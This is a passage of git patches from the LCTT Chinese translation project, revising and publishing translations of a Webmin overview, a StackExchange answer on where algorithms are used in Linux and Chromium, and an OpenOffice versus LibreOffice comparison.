或者监控系统资源如磁盘存储情况、内存使用和网络占用等。 + +[![](http://farm6.staticflickr.com/5521/10937589676_a64d4eee57_z.jpg)][6] 配置 iptables-based firewall。 -[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][6] +[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][7] 配置本地路由表和网关。 +[![](http://farm6.staticflickr.com/5545/10937531925_a5d77384ac_z.jpg)][8] + 挂载和配置文件系统。 -[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][7] +[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][9] 通过文件管理接口来查看和修改本地文件，但是这需要浏览器有相关的java插件。 -通过改变Webmin的相关配置，你可以控制管理 IP 地址，添加/删除 Webmin 功能模块，开启 two-factor 认证来使用安全登录功能，或者创建权威验证等。 +[![](http://farm6.staticflickr.com/5544/10937531975_368196fd03_z.jpg)][10] -[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][8] +通过改变Webmin的相关配置，你可以控制管理 IP 地址，添加/删除 Webmin 功能模块，开启双因子认证来使用安全登录功能，或者创建证书验证等。 + +[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][11] -------------------------------------------------------------------------------- @@ -72,6 +78,10 @@ via: http://xmodulo.com/2013/11/manage-linux-server-gui.html [3]:http://www.zentyal.org/ [4]:http://www.flickr.com/photos/xmodulo/10937800943/ [5]:http://www.flickr.com/photos/xmodulo/10937589506/ -[6]:http://www.flickr.com/photos/xmodulo/10937801173/ -[7]:http://www.flickr.com/photos/xmodulo/10937589556/ -[8]:http://www.flickr.com/photos/xmodulo/10937532015/ +[6]:http://www.flickr.com/photos/xmodulo/10937589676/ +[7]:http://www.flickr.com/photos/xmodulo/10937801173/ +[8]:http://www.flickr.com/photos/xmodulo/10937531925/ +[9]:http://www.flickr.com/photos/xmodulo/10937589556/ +[10]:http://www.flickr.com/photos/xmodulo/10937531975/ +[11]:http://www.flickr.com/photos/xmodulo/10937532015/ +[12]:http://www.webmin.com/standard.html From 7a02716941b79ec0c06964fa6f5275cf7f2bb5b7 Mon Sep 17 00:00:00 2001 From: wxy Date: Sat, 30 Nov 2013 18:21:54 +0800 Subject: [PATCH 056/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ACore=20algor?= =?UTF-8?q?ithms=20deployed?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Core algorithms deployed.md | 135 ++++++++++-------- 1 file changed, 73 insertions(+), 62 deletions(-) rename {translated => published}/Core algorithms deployed.md (51%) diff --git a/translated/Core algorithms deployed.md b/published/Core algorithms deployed.md similarity index 51% rename from translated/Core algorithms deployed.md rename to published/Core algorithms deployed.md index ee50fa1f2c..b90765df84 100644 --- a/translated/Core algorithms deployed.md +++ b/published/Core algorithms deployed.md @@ -1,22 +1,27 @@ -已部署的核心算法 +那些算法在哪里？ ================================================================================ -在我看来，一个系统背后主要驱动的算法更容易在非算法课程上找到，同理，目前的程序更容易在应用数学而不是理论数学中找到。在讲座中，很少有实际问题有一个抽象问题的精确就够。追根究底地说，我认为没有理由为何流行算法课程资料。诸如Strassen乘法，AKS素性测试、或者Moser-Tardos算法与底层实际问题，如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统有相关。这些课程的价值是学习利用错综复杂的方法找出问题的结构而找出有效的解决方案。高级算法也满足了一些简单算法，这些分析并不平凡。正是由于这个原因，我不会不理会简单随机算法或者PageRank。 -我想你可以选择任何一个大型软件并会内部实现了发现基础和高级的算法。作为一个研究案例，我选择了Linux内核，并会示例一些Chromium里面的例子。 +本文来源于一篇stackexchange的[问题][101]回答。提问者问到，我们在计算机科学和数学课程里面学习到的那些算法，到底在什么地方用到了？结果[Vijay D][103]给出一个洋洋洒洒的[深入回答][102]，得到了提问者和众多围观。我们将这篇回答翻译过来以飨读者。 + +[Vijay D][103]写到： + +在我看来，一个系统背后主要发挥作用的算法更容易在非算法课程上找到，这和应用数学中的成果比理论数学中更容易出现在应用中是一个道理。在讲座中，很少有实际问题能够精确匹配到一个抽象问题。归根结底，我认为没有理由让流行的算法课程，诸如Strassen乘法，AKS素性测试、或者Moser-Tardos算法与底层实际问题，如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统相关。这些课程的价值是学习利用错综复杂的方法发现问题的脉络而找出有效的解决方案。高级算法和简单算法的分析都不简单。正是由于这个原因，我不会忽略简单随机算法或者PageRank。 + +我想你可以选择任何一个大型软件，并在内部找到它所采用的基础和高级的算法。作为一个研究案例，我选择了Linux内核，并会示例一些Chromium里面的例子。 ### Linux内核中的基本数据结构和算法 ### -链接在这里([source code on github][1])。 +Linux内核([源代码的链接在github][1])。 -1.[链表][2], [双向链表][3], [无锁链表][4]。 +1.[链表][2]、[双向链表][3]、[无锁链表][4]。 -2.[B+ 树][5]的注释会告诉你无法在教科书上找到的东西。 +2.[B+ 树][5]，这是一些你无法在教科书上找到的说明。 + +> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。 -> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。 -> > ... -> -> 一个技巧在教科书中并不常见。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧,所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。 + +> 一个在教科书中并不常见的技巧。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧，所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。 3.[优先排序列表][6] 用于 [互斥量][7]、[驱动][8]等等。 @@ -26,29 +31,29 @@ 6.[根树][12]用于[内存管理][13]，NFS相关查询和网络相关功能。 -> 根树一个通用的用处是存储指针到结构页中。 +> 根树的一个通用的用处是存储指针到结构页中。 -7.[优先级堆][14]，是一个字面上的教科书实现，用于[cgroup][15]。 +7.[优先级堆][14]，如其名称的教科书实现，用于[cgroup][15]。 -> 第七章中,简单的基于CLR的只插入,含有指针的静态大小优先级堆 +> 《简单的基于CLR的只插入的，含有指针的定长优先级堆》第七章 8.[哈希函数][16]，参考了Knuth和一篇论文。 -> Knuth建议约黄金比例的素数通过对乘法散列机器字的最大整数表示。Chuck Lever验证了该技术的有效性： +> Knuth建议，用乘法哈希的机器字来表示接近黄金比例的素数的最大整数。Chuck Lever验证了该技术的有效性： > > [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17] > > 这些素数的选择是位稀疏的，他们可以通过移位和加法操作，而不必使用乘法器，乘法器是很慢的。 -9.一部分代码，比如[这个驱动][18],实现了他们自己的哈希函数。 +9.有的代码，比如[这个驱动][18]，实现了他们自己的哈希函数。 -> 哈希函数使用了一种旋转哈希算法 +> 使用了一种旋转哈希算法的哈希函数 > -> Knuth, D. 计算机程序设计艺术, 卷 3: 排序与搜索, 第6.7章. Addison Wesley, 1973 +> Knuth, D. 《计算机程序设计艺术, 卷 3: 排序与搜索》, 第6、7章. Addison Wesley, 1973 -10.[哈希表][19]用于实现[inode][20],[文件系统完整性检测][21]等等。 +10.[哈希表][19]用于实现[inode][20]、[文件系统完整性检测][21]等等。 -11.[位数组][22]用于处理标志位、中断等等。并在Knuth的卷4中阐述。 +11.[位数组][22]用于处理标志位、中断等等。并在Knuth那本书的卷4中阐述。 12.[信号量][23]和[自旋锁][24] @@ -58,49 +63,49 @@ 15.[深度优先搜索][29]被广泛地用于[目录配置中][30]。 -> 执行一个修改过的遍历深度优先的命名空间树，以指定的start_handle节点开始以及结束。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值，搜索将会激励结束并且将返回值给调用者。 +> 执行一个修改过的命名空间树的深度优先遍历，以指定的start_handle节点开始（及结束）。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值，搜索将会立即终止并且将其返回给调用者。 -16.[广度有限搜索][31]用于检测运行时锁定的正确性。 +16.[广度优先搜索][31]用于检测运行时锁定的正确性。 -17.链表中的[归并排序][32]用于[垃圾收集][33],[文件系统管理][34]等等。 +17.链表中的[归并排序][32]用于[垃圾收集][33]、[文件系统管理][34]等等。 -18.[冒泡排序][35]在一个驱动库中也是一个令人惊讶的实现。 +18.[冒泡排序][35]在一个驱动库中也有一个令人惊讶的实现。 19.[Knuth-Morris-Pratt 字符串匹配][36], -> 根据Knuth、Morris和Pratt [1]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本，其匹配时间是O(n),对于长度为m的模式(pattern)，仅使用一个辅助函数PI[1 . .m],预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说,对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") 2.既然PI只有m个记录,而DELTA有O(m |SIGMA|)个记录,在预处理时间计算PI而不是DELTA的时候，我们可以节省一个因数|SIGMA| +> 根据Knuth、Morris和Pratt\[1\]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本，其匹配时间是O(n)，对于长度为m的模式(pattern)，仅使用一个辅助函数PI[1 . .m]，预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说，对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") \[2\]。既然PI只有m个记录，而DELTA有O(m |SIGMA|)个记录，在预处理时间计算PI而不是DELTA的时候，我们可以节省一个因数|SIGMA| > -> [1] Cormen, Leiserson, Rivest, Stein，算法介绍，第二版，MIT出版社 +> \[1\] Cormen, Leiserson, Rivest, Stein，算法介绍，第二版，MIT出版社 > -> [2] 见有限自动机原理 +> \[2\] 见有限自动机原理 20.[Boyer-Moore 模式匹配][37]是在找替代品时的参考和建议。 > 实现了Boyer-Moore字符串匹配算法: > -> [1] 一个快速的字符串搜索算法，R.S. Boyer and Moore.计算机通信协会，20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38] +> \[1\] 《一个快速的字符串搜索算法》，R.S. Boyer and Moore.计算机通信协会，20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38] > -> [2] 准确的字符串匹配算法手册，Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39] +> \[2\] 《准确的字符串匹配算法手册》，Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39] > -> 注:由于Boyer-Moore(BM)从右到左搜索匹配,仍然有可能匹配分布在多个块,在这种情况下该算法不会找到任何巧合。 +> 注:由于Boyer-Moore(BM)从右到左搜索匹配，仍然有可能匹配分布在多个块，在这种情况下该算法并没有优势。 > -> 如果你愿意确保这样的事情永远不会发生,那使用Knuth-Pratt-Morris(KMP)实现。总之,根据您的设置适当地选择字符串搜索算法。 +> 如果你希望确保这样的事情永远不会发生，那使用Knuth-Pratt-Morris(KMP)实现。总之，根据您的设置适当地选择字符串搜索算法。 > -> 如果你正在用文本搜索器进行过滤,NIDS或任何类似的注重安全的目的,那么使用KMP。否则,如果你真的关心性能,并且你对数据包进行分类以使用服务质量(QoS)政策,且你不介意匹配可能分布分散,那么用BM。 +> 如果你正在用文本搜索器进行过滤，NIDS或任何类似的注重安全的目的，那么使用KMP。否则，如果你真的关心性能，并且你对数据包进行分类以使用服务质量(QoS)政策，当你不介意匹配可能分布分散，那么用BM。 ### Chromium 浏览器中的数据结构和算法 ### -链接在这里([source code on Google code][40])。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。 +Chromium的([源代码在 Google code][40])。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。 1.[伸展树][41]。 -> The tree is also parameterized by an allocation policy (Allocator). The policy is used for allocating lists in the C free store or the zone; see zone.h. +> 这个树通过分配策略（分配器）参数化。这个策略用于C的可用存储区的列表分配，参见zone.h。 -2.[Voronoi diagrams][42]用于一个示例。 +2.[Voronoi算法][42]用于一个示例。 -3.[基于Bresenham的标志算法][43] +3.[基于Bresenham算法的选项卡][43] -也有这样的第三方的数据结构和算法包含在Chromium代码中。 +在Chromium的第三方代码里面也有如下的数据结构和算法。 1.[二叉树][44] @@ -108,51 +113,53 @@ > Julian Walker的总结 > -> 红黑树是有趣的野兽。他们被认为比AVL树(它们的直接竞争对手)简单,乍一看这似乎是由于插入是一项轻松的乐事。然而,当你开始玩删除算法,红黑树变得非常棘手。然而, 平衡物增加了复杂性,插入和删除可以使用单通道,实现自上而下的算法。这与AVL树情况不一样,只能写自顶向下插入算法。删除从AVL树需要自下而上的算法。 +> 红黑树是一个有趣的小东西。他们被认为比AVL树(它们的直接竞争对手)简单，乍一看这似乎是由于插入是一项轻松的乐事。然而，当你开始删除时，红黑树变得非常棘手。然而，通过复杂性的平衡，插入和删除可以使用单通道，实现自上而下的算法。这与AVL树情况不一样，插入只能自顶向下，删除则需要自下而上。 + > ... > -> 红黑树是很流行的,因为大多数数据结构都有一个古怪的名字。比如,在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡不是很好,需要保持平衡的工作红黑树通常更好。有一些误解被流传,但在大多数情况下对红黑树的宣传是准确的。 +> 红黑树是很流行的，像大多数数据结构一样有一个古怪的名字。比如，在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡性不是很好，需要保持平衡的话红黑树通常更好。有一些流传的误解，但在大多数情况下对红黑树的宣传是准确的。 3.[AVL 树][46] 4.[Rabin-Karp字符串匹配][47]用于比较。 -5.[计算机器人后缀][48] +5.[自动机后缀的计算][48]。 -6.由Apple公司实现的[布隆过滤器][49] +6.由Apple公司实现的[bloom过滤器][49]。 -7.[Bresenham 算法][50]. +7.[Bresenham 算法][50]。 ### 编程语言库 ### -我想这个问题值得思考。编程语言设计者们认为这值得花一些工程师时间和精力来实现这些数据结构和算法，这样其他人你不必这么做了。库的存在是我们可以在一些用C写的软件，但比Java少，重新实现了基础数据结构的部分原因。 +我想这个问题值得思考。编程语言设计者们认为值得花一些工程师的时间和精力来实现这些数据结构和算法，这样其他人就不必这么做了。这些库是我们在JAVA里面比C更少的发现需要重新实现基本数据结构的部分原因。 -1.[C++ STL][51]包含了链表、栈、队列、map、向量和对[排序][52]、[搜索和堆操作][53]算法。 +1.[C++ STL][51]包含了链表、栈、队列、映射、向量和[排序][52]、[搜索和堆操作][53]算法。 + +2.[Java API][54]易于扩展的并且越来越多。 -2.[Java API][54]是非常广阔的并且覆盖了更多。 3.[Boost C++ 库][55]包含了像 Boyer-Moore以及Knuth-Morris-Pratt字符串匹配算法。 ### 分配和调度算法 ### -我发现这些很有趣,因为即使他们被称为启发式,您使用的策略规定了算法类型和需要的数据结构，因此，所以需要人们知道栈和队列。 +我发现这些很有趣，因为即使他们被称为启发式，您使用的策略规定了算法类型和需要的数据结构，因此，所以需要人们知道栈和队列。 -1.最近最少使用算法可以用不同的方法实现。Linux内核有一种[基于列表的实现][56]。 +1.最近最少使用（LRU）算法可以用不同的方法实现。Linux内核有一种[基于列表的实现][56]。 -2.其他的还有先入先出、最常使用、和轮循。 +2.其他的还有先入先出（FIFO）、最常使用和轮询。 3.FIFO的一个变种用于VAX/VMS系统。 4.[Richard Carr][58]的[时钟算法][57]用于Linux中的页面替换。 -5.Intel i860处理器是一种随即替代策略。 +5.Intel i860处理器是一种随机替代策略。 6.[自适应置换高速缓存][59]用于一些IBM存储控制器中，也曾经用于PostgreSQL中([虽然仅仅因为一些专利问题][60]）。 -7.Knuth在计算机程序设计艺术，卷1中讨论过的[Buddy内存分配算法][61]内用于Linux内核中，jemalloc并发分配器被用于FreeBSD和[facebook][62]中。 +7.Knuth在《计算机程序设计艺术 卷1》中讨论过的[Buddy内存分配算法][61]内用于Linux内核中，jemalloc并发分配器被用于FreeBSD和[facebook][62]中。 ### *nix系统核心工具 ### -1.*grep*和*awk*同时实从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造，这显然击败了[Perl的实现][63]。 +1.*grep*和*awk*同时从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造，显然[这甚至击败了Perl的实现][63]。 2.*tsort*实现了拓扑排序。 @@ -162,31 +169,31 @@ 5.Unix上的crypt(1)实现了一个在Enigma机器上的不同加密算法。 -6.[*Unix diff*][66]由Doug McIllroy实现，基于和James Hunt合作编写的圆形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本][67]计算最短编辑距离。 +6.[*Unix diff*][66]由Doug McIllroy实现，基于和James Hunt合作编写的原形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本][67]计算最短编辑距离。 ### 加密算法 ### -这可能回事一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。 +这本是一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。 1.[Merkle 树][68]，特别是 Tiger Tree Hash变种，被用于点对点应用，比如[GTK Gnutella][69]和[LimeWire][70]。 -2.[MD5][71]被用于提供软件包的校验和并被用于在*nix系统上的完整性检测(([Linux 实现][72]))，同样也在Windows和OSX中支持。 +2.[MD5][71]被用于提供软件包的校验和并被用于在*nix系统上的完整性检测([Linux 实现][72])，同样也支持Windows和OSX。 -3.[OpenSSL][73]实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等 +3.[OpenSSL][73]实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等。 ### 编译器 ### -1.[LALR 解析][74]用yacc和bison实现。 +1.[LALR 解析][74]在yacc和bison实现。 2.支配算法被用于大多数基于SSA形式的编译器优化。 -3.lex和flex编译正则表达式成为NFA。 +3.lex和flex将正则表达式编译为NFA。 ### 压缩和图像处理 ### -1.用于GIF图片格式的[Lempel-Ziv][75]算法用图形操作程序实现，从*unix工具转化到复杂的程序。 +1.用于GIF图片格式的[Lempel-Ziv][75]算法在图像处理程序中实现，从*unix工具转化到复杂的程序。 -2.行程长度编码用于产生PCX文件(用于原始的画笔程序)，是被压缩的BMP和TIFF文件。 +2.行程长度编码用于产生PCX文件(用于原来的画笔程序)，它是被压缩的BMP和TIFF文件。 3.小波压缩是JPEG2000的基础，所以所有生成JPEG2000文件的数码相机会支持这个算法。 @@ -194,15 +201,15 @@ ### 冲突驱动语句学习算法 (CDCL) ### -自2000以来，SAT求解器在工业标准的运行时间(通常是硬件工业，虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法，它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地，工业造型，SAT被认为是一个简单的问题([见这个讨论][77])。对我而言，这个一个最近最好的成功故事因为它结合了这几年算法的前进推广、聪明的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik and Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加了4个地方都是如此)，但是通常在一个逻辑或者形式方法课上。 +自2000年以来，SAT求解器在工业标准的运行时间(通常是硬件工业，虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法，它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地，工业造型，SAT被认为是一个简单的问题([见这个讨论][77])。对我而言，这个一个最近最好的成功故事，因为它结合了这几年算法的不断发展、清晰的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik 和 Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加过的4个地方都是如此)，但是通常在一个逻辑或者形式方法课上。 -SAT求解器的应用有很多。IBM，Intel和许多其他公司都有他们的SAT求解器是西安。OpenSuse的[包管理器][78]同样使用了一个SAT求解器。 +SAT求解器的应用有很多。IBM，Intel和许多其他公司都有他们的SAT求解器实现。OpenSuse的[包管理器][78]同样使用了一个SAT求解器。 -------------------------------------------------------------------------------- via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773 -译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) +译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 @@ -284,4 +291,8 @@ via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/ [76]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c [77]:http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/ [78]:http://dl.acm.org/citation.cfm?id=1536637 -[79]:http://en.opensuse.org/Portal%3aLibzypp \ No newline at end of file +[79]:http://en.opensuse.org/Portal%3aLibzypp + +[101]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/ +[102]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773 +[103]:http://cstheory.stackexchange.com/users/4155/vijay-d \ No newline at end of file From 7b6093703b37ab78e3443deecab7c8a6514f5642 Mon Sep 17 00:00:00 2001 From: wxy Date: Sat, 30 Nov 2013 20:51:49 +0800 Subject: [PATCH 057/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AApache=20Ope?= =?UTF-8?q?nOffice=20vs.=20LibreOffice?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Apache OpenOffice vs. LibreOffice.md | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) rename {translated => published}/Apache OpenOffice vs. LibreOffice.md (63%) diff --git a/translated/Apache OpenOffice vs. LibreOffice.md b/published/Apache OpenOffice vs. LibreOffice.md similarity index 63% rename from translated/Apache OpenOffice vs. LibreOffice.md rename to published/Apache OpenOffice vs. LibreOffice.md index a7d338f012..6870f2b878 100644 --- a/translated/Apache OpenOffice vs. LibreOffice.md +++ b/published/Apache OpenOffice vs. LibreOffice.md @@ -1,4 +1,4 @@ -Apache OpenOffice vs. LibreOffice 详解 +Apache OpenOffice 与 LibreOffice 之间的抉择 ================================================================================ > 这两个开源办公套件产品很相似，然而某一个貌似已经开始具有轻微的领先优势…… @@ -10,7 +10,7 @@ Apache OpenOffice vs. LibreOffice 详解 ###具体各程序间的区别### -LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw，看起来完全没有区别；再说Impress，主要的区别就是LibreOffice最新版支持使用Android设备控制幻灯片放映；除了幻灯片背景以外，两者其他方面没什么不同，都能很好的胜任日常使用，除非有特殊偏好，用户选择哪一款都可以；同样，在Calc电子制表软件中，两者最大的区别就是你可以在LibreOffice里创建数据表格。 +LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw，看起来完全没有区别；再如Impress，主要的区别就是LibreOffice的最新版支持使用Android设备控制幻灯片放映；除了幻灯片背景以外，两者其他方面没什么不同，都能很好的胜任日常使用，除非有特殊偏好，用户选择哪一款都可以；同样，在Calc电子制表软件中，两者最大的区别就是你可以在LibreOffice里创建数据表单。 即使在用户最常用的Writer程序中，两者的区别也很小。LibreOffice这边，编辑窗口的底部状态栏现在新包含了一个字词计数器，审阅标签也不再局限于某个单个点，现在可以附加在配图上，另外，LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug，除此以外，LibreOffice还添加了一个简易搜索栏，与web浏览器上的那种类似，同时，去掉了图形水平线的选项，这个功能过去十几年来几乎从没人用过。 @@ -18,9 +18,9 @@ LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩 一些更明显的区别体现在格式分类与字体支持上。例如，OpenOffice始终支持一些较老的保存格式，像AportisDoc（Palm版）和Pocket Word。另外，它也可以打开.docx格式的文件，但是无法像LibreOffice一样将文档保存为docx格式。 -LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持，因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的，通过“文件->属性->自体”，你能够将字体嵌入到文档中去，无需任何繁琐操作，就能确保字体的兼容性。 +LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持，因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的，通过“文件->属性->字体”，你能够将字体嵌入到文档中去，无需任何繁琐操作，就能确保字体的兼容性。 -这样的特性使得LibreOffice在面对微软Office用户转换格式的时候，得到了决定性的1分。因为通常，OpenOffice和LibreOffice都无法很好处理微软格式的文档，特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此，如果你要共享复杂一些的文档，例如宣传手册，最好使用PDF格式，而不是Open文档格式（ODF）。 +这样的特性使得LibreOffice在面对微软Office用户转换格式的时候，得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档，特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此，如果你要共享复杂一些的文档，例如宣传手册，最好使用PDF格式，而不是Open文档格式（ODF）。 然而，如果你确实需要转换一些本地或微软的文档，LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档，而且它对字体替换处理的很好，而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少，例如在特性实现上有所不同，但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。 @@ -32,35 +32,35 @@ OpenOffice和LibreOffice两者都能很好的支持插件扩展，想要加强 以上这些扩展在OpenOffice下同样可用。与前者不同的是，使用OpenOffice时，你首先需要知道有这些扩展，然后专门去找到它们，这样一来，很大程度上限制了新用户对很多功能的体验。因此，当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时，这样的疏漏就成了一个非常严重的不足，特别是当它很容易弥补的时候，（更何况LibreOffice同时也提供了自家最新的模板和剪贴画）。 -###接口的更新换代### +###界面的更新换代### -在OpenOffice.org属于Sun和Oracle的12年日子里，它的代码和接口就如同许多优秀特性一样，几乎被完全忽略。如今的结果就是，OpenOffice和LibreOffice作为套件产品，都各自拥有一整套优秀的功能，但是它们的接口却仍停留在上世纪90年代的水平。只有表面上的一些老旧接口被移除，其实大部分仍然亟待更新。 +在OpenOffice.org属于Sun和Oracle的12年日子里，它的界面和许多的其它功能一样，几乎被丢在遗忘的角落。如今的结果就是，OpenOffice和LibreOffice作为套件产品，都各自拥有一整套优秀的功能，但是它们的界面却仍停留在上世纪90年代的水平。只有表面上的一些老旧界面被移除，其实大部分仍然亟待更新。 -在最新的发布中，OpenOffice试图彻底更新自己的接口，但是却由于“导航栏”而被迫受阻。导航栏这一特性，如今已经成为“用户体验”的标签，在LibreOffice中，你可以通过“工具->选项->LibreOffice->高级”找到关于它的设置。 +在最新的发布中，OpenOffice试图彻底更新自己的界面的努力主要集中在“边栏”上。这一特性，你可以通过“工具->选项->LibreOffice->高级”打开，它被标记为“试验性”的。 -导航栏是一组功能集合，主要用于用户手动格式化。【【【这一特性鼓励用户使用样式，就代码编写人员的逻辑来说，这一点很容易被忽略。（这一句各种纠结不明白啥意思啊啊啊啊啊=。=）】】】然而，它最大的好处是，大大简化了字符和图形的格式化标签页，例如原本所有应用程序中都有的加粗选项，以及电子表格单元格中的“格式”标签页。幸运的是，导航栏还重新定义了菜单和样式对话框窗口的概念。 +边栏是一组功能集合，主要用于用户手动格式化。这一特性便于用户应用样式，因为如果用户关注在文章逻辑上，很容易忽略编排的样式。然而，最好的是，它大大简化了格式化字符和段落的选项卡，例如所有应用程序中都有的边框选项卡，以及电子表格单元格中的“格式”选项卡。幸运的是，边栏还重新定义了菜单和样式对话框窗口的概念。 -LibreOffice还拥有更多的“冒险创新精神”，例如，与导航栏类似，Impress中的任务面板，摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。 +LibreOffice还拥有更多的“冒险创新精神”，例如，与边栏类似，Impress中的任务面板，摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。 -在Writer编辑窗口中，LibreOffice的大部分接口已经完成改进，窗口底部的状态栏中，添加了一个字词计数器，原本负责管理和编辑模板的狭窄子菜单，如今也已被高端大气上档次的流线形按钮所取代。 +在Writer编辑窗口中，LibreOffice的大部分界面已经完成改进，窗口底部的状态栏中，添加了一个字词计数器，原本负责管理和编辑模板的狭窄子菜单，如今也已被高端大气上档次的流线形按钮所取代。 更明显的，LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的，页眉和页脚也默认改为不可见，要想找到它们，四个小直角标明了它们的边界位置，点击就可以出现。 -不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口。除了【【【使用标签页鼓励手动格式化这一事实（和上面那纠结的一句一样，这是什么意思啊啊啊啊啊=。=）】】】，比较恼人的是，当在新一页的第一行输入的时候，已经输入的一部分总是会自动隐藏。 +不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口中的选项卡。虽然这个选项卡事实上是为了便于手动调整格式，但是让人郁闷的是，当在新一页的第一行输入的时候，已经输入的一部分总是会自动隐藏起来。 -尽管LibreOffice还重组了许多窗口选项，但是这些努力远没有结束。有时，开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体，看起来有些不伦不类，但是，至少LibreOffice正在尝试着解决长期搁置的接口问题，而这些，OpenOffice甚至都还没来得急意识到。 +尽管LibreOffice还重组了许多对话窗口的选项，但是这些努力远没有结束。有时，开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体，看起来有些不伦不类，但是，至少LibreOffice正在尝试着解决长期搁置的界面问题，而这些，OpenOffice甚至都还没来得及意识到。 ###做出选择### 